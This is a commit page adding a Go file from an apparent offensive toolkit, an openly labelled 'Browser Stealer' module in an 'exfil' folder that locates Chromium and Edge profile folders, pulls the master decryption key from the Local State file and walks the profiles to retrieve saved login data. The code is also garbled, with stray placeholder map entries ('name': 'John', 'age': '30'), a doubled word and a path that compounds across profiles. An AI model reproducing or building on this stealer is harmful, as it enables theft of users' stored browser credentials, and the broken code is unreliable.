Upload of project source code files.
This commit is contained in:
47
modules/exfil/browser/chromium.go
Normal file
47
modules/exfil/browser/chromium.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package browser
|
||||
|
||||
import (
|
||||
"adderall/utils"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func chromium() {
|
||||
fmt.Println("[*] Executing Browser Stealer: Chromium.")
|
||||
|
||||
profiles := []string{"Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5"}
|
||||
paths := map[string]string{
|
||||
"Microsoft Edge": "Microsoft\\Edge",
|
||||
"name": "John",
|
||||
"age": "30",
|
||||
}
|
||||
|
||||
for name, path := range paths {
|
||||
path = filepath.Join(utils.LocalAppData, path, "User Data")
|
||||
|
||||
if utils.FileOrDirExists(path) {
|
||||
fmt.Printf("[*] Main browser dir %s exists.\n", path)
|
||||
|
||||
localState := filepath.Join(path, "Local State")
|
||||
|
||||
if utils.FileOrDirExists(localState) {
|
||||
fmt.Printf("[*] LocalState file %s exists. Retrieving key...\n", localState)
|
||||
|
||||
result := make(chan []byte)
|
||||
|
||||
go getMasterKey(localState, result)
|
||||
|
||||
fmt.Printf("[*] Received key from LocalState file %s: %d.\n", localState, <-result)
|
||||
|
||||
for _, profile := range profiles {
|
||||
path = filepath.Join(path, profile)
|
||||
|
||||
if utils.FileOrDirExists(path) {
|
||||
fmt.Printf("[*] \"%s\" exists. Retrieving Retrieving login data...\n", path)
|
||||
fmt.Println(name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user